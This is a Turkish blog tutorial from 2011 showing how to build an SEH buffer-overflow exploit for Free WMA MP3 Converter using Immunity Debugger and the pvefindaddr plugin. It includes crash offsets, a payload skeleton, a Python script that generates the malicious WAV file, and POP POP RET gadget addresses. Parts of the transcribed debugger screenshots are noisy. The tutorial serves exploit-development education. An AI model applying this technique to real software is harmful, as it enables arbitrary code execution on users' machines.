

5 Dakikada SEH İstismar Aracı (Exploit) Hazırlama

written by Mert SARICA | 19 July 2011

Yazılarımı takip edenleriniz daha önce SEH İstismarını konu olan bir yazı yazdığımı hatırlayacaktır. Bugünkü yazımda SEH istismar aracının Immunity Debugger üzerinde çalışan pvefindaddr.py eklentisi ile nasıl kısa bir süre içinde hazırlanabileceğini göreceğiz.

Immunity Debugger, istismar aracı (exploit) hazırlamak, zararlı yazılım (malware) analizi ve tersine mühendislik yapmak isteyenler için oldukça başarılı bir hata ayıklama (debugger) aracıdır. Sade ve anlaşılır arayüzü, komut satırı desteği ve Python ile betik (script) hazırlamaya imkan tanıyan desteği sayesinde masaüstümün vazgeçilmezleri arasında yer almaktadır.

pvefindaddr.py eklentisi, Peter Van Eeckhoutte tarafından istismar aracı hazırlamak için özel olarak tasarlanmış ve içinde patern oluşturmaktan otomatik istismar kodu şablonu oluşturmaya kadar bir çok özelliğe sahiptir. Eklentinin kullanımını ile ilgili detaylı bilgiye buradan ulaşabilirsiniz.

Adımlara geçmeden önce ilk olarak sisteminizde yüklü olan Immunity Debugger aracı için pvefindaddr.py aracını buradan indirerek C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands klasörü altına kopyalayın.

İstismar edilecek araç olarak daha önceki yazımda adı geçen Free WMA MP3 Converter v1.1 aracını kullanacağız.

Immunity Debugger aracını çalıştırdıktan sonra File -> Open menüsünden C:\Program Files\Free WMA MP3 Converter\Wmpcon.exe aracını seçelim ve Open butonuna basalım. F9 tuşuna basarak programı çalıştıralım. Komut satırında !pvefindaddr pattern_create 5000 yazarak 5000 bayt büyüklüğünde bir patern oluşturalım. Oluşturulan patern C:\Program Files\Immunity Inc\Immunity Debugger\mspattern.txt dosyası olarak kayıt edilmektedir.

Immunity Debugger - Wmpcon.exe - [CPU - main thread, module Wmpcon]

File View Debug Plugins Immlib Options Window Help Jobs

Code auditor and software assess

| | | |
|----------|---------------|--|
| 004C5D9C | 55 | PUSH EBP |
| 004C5D9D | 8BEC | MOV EBP,ESP |
| 004C5D9F | 83C4 F0 | ADD ESP,-10 |
| 004C5DA2 | 53 | PUSH EBX |
| 004C5DA3 | B8 14594C00 | MOV EAX,Wmpcon.004C5914 |
| 004C5DA8 | E8 4706F4FF | CALL Wmpcon.004063F4 |
| 004C5DAD | 6A 00 | PUSH 0 |
| 004C5DAF | 68 205E4C00 | PUSH Wmpcon.004C5E20 |
| 004C5DB4 | E8 8B0EF4FF | CALL <JMP.&user32.FindWindowA> |
| 004C5DB9 | 8B08 | MOV EBX,EAX |
| 004C5DBB | 850B | TEST EBX,EBX |
| 004C5DBD | 76 17 | JBE SHORT Wmpcon.004C5DD6 |
| 004C5DBF | 6A 00 | PUSH 0 |
| 004C5DC1 | 6A 00 | PUSH 0 |
| 004C5DC3 | 68 53080000 | PUSH 853 |
| 004C5DC9 | 68 00000000 | PUSH EBX |
| 004C5DCB | E638 E610F4FF | CALL <JMP.&user32.PostMessageA> |
| 004C5DCE | 68 00000000 | PUSH EBX |
| 004C5DCF | E8 8011F4FF | CALL <JMP.&user32.SetForegroundWindow> |
| 004C5DD4 | EB 41 | JMP SHORT Wmpcon.004C5E17 |
| 004C5DD6 | A1 70944C00 | MOV EAX,DWORD PTR DS:[4C9470] |
| 004C5DD8 | 3B00 | MOV EAX,DWORD PTR DS:[EAX] |
| 004C5DD0 | E8 727BFAFF | CALL Wmpcon.0046D954 |
| 004C5DE2 | A1 70944C00 | MOV EAX,DWORD PTR DS:[4C9470] |
| 004C5DE7 | 3B00 | MOV EAX,DWORD PTR DS:[EAX] |
| 004C5DE9 | BA 585E4C00 | MOV EDI,Wmpcon.004C5E58 |
| 004C5DEE | E8 5977FAFF | CALL Wmpcon.0046D54C |
| 004C5DF3 | 8B0D 5C934C00 | MOV ECX,DWORD PTR DS:[4C935C] |
| 004C5DF9 | A1 70944C00 | MOV EAX,DWORD PTR DS:[4C9470] |
| 004C5DFE | 8B0D | MOV EAX,DWORD PTR DS:[EAX] |

EBP=0012FFF0

| Address | Hex dump | ASCII |
|----------|-------------------------|------------|
| 004C6000 | 00 00 00 00 00 00 00 00 | |
| 004C6008 | 02 30 40 00 00 00 00 00 | @.@..... |
| 004C6010 | 00 00 00 00 00 00 00 00 | |
| 004C6018 | 00 00 00 00 00 00 00 00 | |
| 004C6020 | 32 13 8B C0 02 00 8B C0 | 2i i 0 ; l |
| 004C6028 | 00 3D 40 00 00 3D 40 00 | .e..i.e.. |
| 004C6030 | 00 3D 40 00 00 3D 40 00 | .i.e..... |

Registers (FPU)

EAX 00000000
 ECX 0012FFF0
 EDI 7C90E514 ntdll.KiFastSystemCallRet
 ESP 7FFDE000
 EBP 0012FFC4
 EIP 004C5D9C Wmpcon.<ModuleEntryPoint>

ES 0023 32bit 0(FFFFFFFF)
 CS 001B 32bit 0(FFFFFFFF)
 SS 0023 32bit 0(FFFFFFFF)
 DS 0023 32bit 0(FFFFFFFF)
 FS 003B 32bit 7FFDD000(FFF)
 GS 0000 NULL

LastErr ERROR_PROC_NOT_FOUND (0000007F)

EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)

ST0 empty 0.00000000000000000000
 ST1 empty 0.00000000000000000000
 ST2 empty 0.00000000000000000000
 ST3 empty 0.00000000000000000000
 ST4 empty -8.7294935953180732000e+246
 ST5 empty -1.1363406683643405000e+238
 ST6 empty 1.9191941738241531000
 ST7 empty 1.2519775166695107000e-312

FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 (EQ)
 FCW 027F Prec NEAR,S3 Mask 1 1 1 1 1 1

0012FFC4 7C817077 wpu! RETURN to kernel32.7C817077
 0012FFC8 00670067 g.g.
 0012FFCC 00720065 e.r.
 0012FFD0 7FFDE000 .0^0
 0012FFD4 80544CFD ^LTC
 0012FFD8 0012FFC8 = +.
 0012FFDC 82209020 e e
 0012FFE0 FFFFFFFF End of SEH chain
 0012FFE4 7C829008 t^s! SE handler

!pvfindaddr pattern_create 5000
 Done - check mspattern.txt

mspattern.txt - Notepad

File Edit Format View Help

```

=====
output generated by pvfindaddr v2.0.13
corelanc0d3r - http://www.corelan.be:8800
=====
OS : xp, release 5.1.2600
=====
2011-04-07 01:18:46
=====
Cyclic pattern of 5000 characters :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A
i1B12B13B14B15B16B17B18B19Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9B10B11B12B1
2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4
Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5E
g5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj

```

```
*exp.py - C:\Documents and Settings\Administrator\Desktop\exp.py*
File Edit Format Run Options Windows Help
# SEH Exploitation Tutorial
# Author: Mert SARICA
# E-mail: mert [ . ] sarica [ @ ] gmail [ . ] com
# URL: http://www.mertsarica.com
# This tool is provided for educational purposes only, use at your own risk

exp = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9"
wav = open("MS.wav", "w");
wav.write(exp);
wav.close();
|
Ln: 11 Col: 0
```

Dosyanın içindeki paterni taslak halde olan istismar aracımıza (exp.py) kopyaladıktan sonra çalıştırarak WMA MP3 Converter programında yer alan hatayı/zafiyeti tetikleyecek WAV uzantılı dosyayı (MS.wav) oluşturalım.

WMA MP3 Converter programında yer alan WAV to MP3 butonuna basarak MS.wav dosyasını seçelim ve Immunity Debugger aracı üzerinde Access Violation hatası ile karşılaştıktan sonra komut satırında !pvefindaddr suggest yazarak eklenti tarafından bize önerilen istismar aracı oluşturma şablonunu görüntüleyelim. (Önerilen kod Perl diline yönelik olduğu için bu kodu Python koduna çevirmemiz gerekecektir.)

Immunity Debugger - Wmpcon.exe - [CPU - main thread, module Wmpcon]

File View Debug Plugins ImmLib Options Window Help Jobs

l e m t w h c p k b z r ... s ? INFILTRATE

```

004C5D9C $ 55 PUSH EBP
004C5D9D . 8BEC MOV EBP,ESP
004C5D9F . 83C4 F0 ADD ESP,-10
004C5DA2 . 53 PUSH EBX
004C5DA3 . B8 14594C00 MOV EAX,Wmpcon.004C5914
004C5DA8 . E8 4706F4FF CALL Wmpcon.004063F4
004C5DAD . 6A 00 PUSH 0
004C5DAF . 68 205E4C00 PUSH Wmpcon.004C5E20
004C5DB4 . E8 8B0EF4FF CALL <JMP @user32.FindWindow@>
004C5DB9 . 8B08 MOV EBX,EAX
004C5DBB . 850B TEST EBX,EBX
004C5DBD . 76 17 JBE SHL
004C5DBF . 6A 00 PUSH 0
004C5DC1 . 6A 00 PUSH 0
004C5DC3 . 68 53080000 PUSH Wmpcon.004C5E08
004C5DC9 . 68 00000000 PUSH Wmpcon.004C5E08
004C5DCB . E8 610F4FF CALL <JMP @user32.FindWindow@>
004C5DCE . E8 8011F4FF CALL <JMP @user32.FindWindow@>
004C5DD4 . EB 41 JMP SHL
004C5DD6 > A1 70944C00 MOV EAX,Wmpcon.004C5D00
004C5DD8 . 8B00 MOV EBX,EAX
004C5DDA . E8 727BFAFF CALL Wmpcon.004C5D00
004C5DE2 . A1 70944C00 MOV EAX,Wmpcon.004C5D00
004C5DE7 . 8B00 MOV EBX,EAX
004C5DE9 . BA 585E4C00 MOV EDI,Wmpcon.004C5E08
004C5DEE . E8 5977FAFF CALL Wmpcon.004C5D00
004C5DF3 . 8B00 MOV EBX,EAX
004C5DF9 . A1 70944C00 MOV EAX,Wmpcon.004C5D00
004C5DFE . 8B00 MOV EBX,EAX
004C5E00 . 8B15 E82E4C00 MOV EDI,Wmpcon.004C5E08
004C5E06 . E8 617BFAFF CALL Wmpcon.004C5D00
004C5E0B . A1 70944C00 MOV EAX,Wmpcon.004C5D00
004C5E10 . 8B00 MOV EBX,EAX
004C5E12 . E8 057BFAFF CALL Wmpcon.004C5D00
004C5E17 > 5B POP EBX
004C5E18 . E8 1BE2F3FF CALL Wmpcon.004C5D00
004C5E1D . 0000 ADD BYT,0
  
```

Registers (FP)

```

EAX: 00000000
ECX: 00F30000
EDX: 7C90E514
EBX: 00000000
ESP: 0012E69C
EBP: 0012E690
ESI: 00000000
EDI: 00000000
EIP: 7C90E514
C 0 ES 0023
P 1 CS 001B
A 1 SS 0023
Z 0 DS 0023
S 1 FS 003B
T 0 GS 0000
D 0
O 0 LastErr
EFL 00000296
ST0 empty -0.0
ST1 empty 0.0
ST2 empty -8.0
ST3 empty 1.4
ST4 empty 1.6
ST5 empty -1.0
ST6 empty 1.8
ST7 empty 1.2
FST 4000 Con
FCW 1372 Pre
  
```

Free WMA MP3 Converter

Main

- WMA to MP3...
- MP3 to WMA...
- WAV to MP3...
- MP3 to WAV...
- WAV to WMA...
- WMA to WAV...

Options

- Settings

Help

- Homepage
- Donate
- About
- Exit

<http://www.eusing.com>

Modules C:\Program Files\Unlocker\UnlockerHook.dll Running

Immunity Debugger - Wmpcon.exe - [CPU - thread 00000F8C]

File View Debug Plugins ImmLib Options Window Help Jobs

l e m t w h c p k b z r ... s ? Immunity: Consulting Services Ma

Registers (FPU)

```

EAX 00000000
ECX 0000112C
EDX 00001388
EBX 68463967
ESP 019CFEE8 ASCII "Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9F10F11F12F13F14F
EBP 67463567
ESI 46386746
EDI 37674636
EIP 31684630
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD6000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_NOACCESS (000003E6)
EFL 00010216 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 2.8033431761084975000e-308
ST1 empty -5.1320915821907248000e+253
ST2 empty -7.908388876977252000e+248
ST3 empty 5.2442637207774357000e+291
ST4 empty 1.5852900963351605000e-312
ST5 empty 2.8037007028001917000e-308
ST6 empty 2.7591173225342840000e-306
ST7 empty 1.2519775166695107000e-312
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
  
```

Address Hex dump ASCII

```

004C6000 00 00 00 00 00 00 00 00 .....
004C6008 02 8D 40 00 CC FA 40 00 @i@.f.@.
004C6010 40 48 41 00 E0 FD 40 00 @KA.d^@.
004C6018 48 30 41 00 70 37 41 00 H0A.p7A.
004C6020 7F 02 88 C0 02 00 8B C0 @0i+@.iL
004C6028 00 8D 40 00 8D 40 00 .i@.i@.
004C6030 00 8D 40 00 A4 60 4C 00 .i@.A.L.
  
```

!pvfndaddr suggest

Done Paused

```
Immunity Debugger - Wmpcon.exe - [Log data]
File View Debug Plugins ImmLib Options Window Help Jobs
Immunity Consulting Services Ma

Address | Message
0BADF000 Searching for metasploit pattern references
0BADF000 -----
0BADF000 [1] Searching for first 8 characters of Metasploit pattern : Aa0Aa1Aa
0BADF000 -----
3D520000 Modules C:\WINDOWS\system32\lsodeca.acm
019CEED4 - Found begin of Metasploit pattern at 0x019ceed4
0BADF000
0BADF000 ** Could not find begin of Metasploit pattern (unicode expanded) in memory ! **
0BADF000
0BADF000 [2] Checking register addresses and contents
0BADF000 -----
0BADF000 - Register EIP is overwritten with Metasploit pattern at position 4112
0BADF000 - Register ESP points to Metasploit pattern at position 4116
0BADF000 - Register EDI is overwritten with Metasploit pattern at position 4100
0BADF000 - Register EBP is overwritten with Metasploit pattern at position 4096
0BADF000 - Register EBX is overwritten with Metasploit pattern at position 4108
0BADF000 - Register ESI is overwritten with Metasploit pattern at position 4104
0BADF000
0BADF000 [3] Checking seh chain
0BADF000 -----
0BADF000 - Checking seh chain entry at 0x019cfee8, value 68463368
0BADF000 => record is overwritten with Metasploit pattern after 4120 bytes
0BADF000 - Checking seh chain entry at 0x46326846, value 68463368
0BADF000 => record is overwritten with Metasploit pattern after 4120 bytes
0BADF000 Evaluated 2 SEH entries
0BADF000 -----
0BADF000 Exploit payload information and suggestions :
0BADF000 -----
0BADF000 [+] Type of exploit : SEH (SE Handler is overwritten)
0BADF000 Offset to next SEH : 4116
0BADF000 Offset to SE Handler : 4120
0BADF000 [+] Payload suggestion (perl) :
0BADF000 my $junk="\x41" x 4116;
0BADF000 my $nseh="\xeb\x06\x90\x90";
0BADF000 my $seh=XXXXXXXX; #pop pop ret - use !pvefindaddr p -n to find a suitable address
0BADF000 my $nops="\x90" x 24;
0BADF000 my $shellcode="(your shellcode here)";
0BADF000 my $payload = $junk.$nseh.$seh.$nops.$shellcode;
0BADF000 [+] Read more about this type of exploit at
0BADF000 http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-s
0BADF000 -----
Done

!pvefindaddr suggest
Show Log window (Alt+L) Paused
```

Karşımıza çıkan yönergelerde istismar aracının başarıyla çalışabilmesi için POP POP RET adresine ve kabuk koduna (shellcode) ihtiyacımız olduğu belirtildiği için komut satırında öncelikle !pvefindaddr p -n yazarak SAFESEH'in devre dışı olduğu olduğu bir DLL'de yer alan POP POP RET adresi bularak istismar aracımızın iskeletini oluşturmaya devam edelim.

Immunity Debugger - Wmpcon.exe - [CPU - thread 0000F8C]

File View Debug Plugins Immlib Options Window Help Jobs

White Phosphorus now has the IE

Registers (FPU)

```

EAX 00000000
ECX 0000112C
EDX 00001388
EBX 68463967
ESP 019CFEE8 ASCII "Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9F10F11F12F13F14F
EBP 67463567
ESI 46386746
EDI 37674636
EIP 31684630
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD6000(FFF)
T 0 GS 0000 NULL
D 0
O 0
0 0 LastErr ERROR_NOACCESS (000003E6)
EFL 00010216 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 2.8093431761084975000e-308
ST1 empty -5.1320915821907248000e+253
ST2 empty -7.9083888769777252000e+248
ST3 empty 5.2442637207774357000e+291
ST4 empty 1.5852900963351605000e-312
ST5 empty 2.8037007028001917000e-308
ST6 empty 2.7591173225342840000e-306
ST7 empty 1.2519775166695107000e-312
3 2 1 0 ESPUOZDI
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,S3 Mask 1 1 1 1 1

```

| Address | Hex dump | ASCII |
|----------|-------------------------|----------|
| 004C6000 | 00 00 00 00 00 00 00 00 | |
| 004C6008 | 02 80 40 00 CC FA 40 00 | 0ie.f.0. |
| 004C6010 | 40 4B 41 00 E0 FD 40 00 | 0kA.020. |
| 004C6018 | 48 30 41 00 70 37 41 00 | 0QA.p7A. |
| 004C6020 | 7F 02 8B C0 02 00 8B C0 | 00i.0.L |
| 004C6028 | 00 8D 40 00 00 8D 40 00 | .0..0. |
| 004C6030 | 00 8D 40 00 A4 60 4C 00 | .0.p.L. |

!pvefindaddr p -n

Found 2062 address(es) <Check the Log Windows for details>

Paused

Immunity Debugger - Wmpcon.exe - [Log data]

File View Debug Plugins Immlib Options Window Help Jobs

White Phosphorus now has the IE

| Address | Message |
|----------|--|
| 0BADF000 | * 0 pointers found ending with RET 10, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 12, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 1C, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 04, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 08, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 0c, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 10, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 12, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 1C, now filtering results... |
| 0BADF000 | * 14 pointers found ending with RET, now filtering results... |
| 0BADF000 | * 1 pointers found ending with RET 04, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 08, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 0c, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 10, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 12, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 1C, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 04, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 08, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 0c, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 10, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 12, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 1C, now filtering results... |
| 0BADF000 | * 8 pointers found ending with RET, now filtering results... |
| 0BADF000 | * 26 pointers found ending with RET 04, now filtering results... |
| 0BADF000 | * 9 pointers found ending with RET 08, now filtering results... |
| 0BADF000 | * 5 pointers found ending with RET 0c, now filtering results... |
| 0BADF000 | * 6 pointers found ending with RET 10, now filtering results... |
| 0BADF000 | * 0 pointers found ending with RET 12, now filtering results... |
| 0BADF000 | * 1 pointers found ending with RET 1C, now filtering results... |
| 0BADF000 | Search complete |
| 0BADF000 | Output written to ppr.txt |
| 0BADF000 | Found 2062 valid address(es) (out of a total of 29472 addresses) |
| 0BADF000 | Found 2062 address(es) <Check the Log Windows for details> |

!pvefindaddr p -n

Found 2062 address(es) <Check the Log Windows for details>

Paused

```
prr.txt - Notepad
File Edit Format View Help
08 at 0x582E376D [s1_anet.acm] ** - [Ascii printable] {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4F20D4D8 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4F20E2F2 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4F21361E [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4F2137AE [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4F2176C1 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4B2B9648 [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4B2BA462 [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4B2BF78E [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4B2BF91E [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x4B2C3831 [wmispdmoe.dll] ** - [Ascii printable] {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x581AA50F [iac25_32.ax] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x581AA549 [iac25_32.ax] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x581AA598 [iac25_32.ax] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x3D5227A3 [l3codeca.acm] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x3D5227B2 [l3codeca.acm] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x3D53E383 [l3codeca.acm] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
0c at 0x3D53E3EF [l3codeca.acm] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4F20E522 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4F210B80 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4F210BF0 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4F210BFB [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4B2BA692 [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4B2BCCF0 [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4B2BCD60 [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
10 at 0x4B2BCD6B [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
1c at 0x4F2177B8 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
1c at 0x4F2177E6 [wmadmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
1c at 0x4F217956 [wmadmoe.dll] ** - [Ascii printable] {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
1c at 0x4B2C3928 [wmispdmoe.dll] ** - [Ascii printable] {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
1c at 0x4B2C3956 [wmispdmoe.dll] ** - [Ascii printable] {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
1c at 0x4B2C3AC6 [wmispdmoe.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
at 0x581AC568 [iac25_32.ax] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not)
```

Son olarak hesap makinasını (calc.exe) çalıştıracak kabuk kodunu (shellcode) ister Metasploit ile oluşturarak ister herhangi bir istismar aracından kopyalayarak şablonda ilgili yere kopyalayarak iskeleti tamamlayalım ve istismar aracını çalıştırarak zafiyeti istismar eden WAV dosyasını oluşturalım. WMA MP3 Converter programını çalıştırdıktan sonra MP3 butonuna basarak istismar aracımız tarafından oluşturulan yeni MS.wav dosyasını seçtiğimizde hesap makinası karşımıza çıkacak ve mutlu sona ulaştığımızı göreceğiz.

Askere gitmeden önce hazırlamış olduğum yaylalar yazı dizisinin dördüncüsü burada son bulurken herkese güvenli günler dilerim.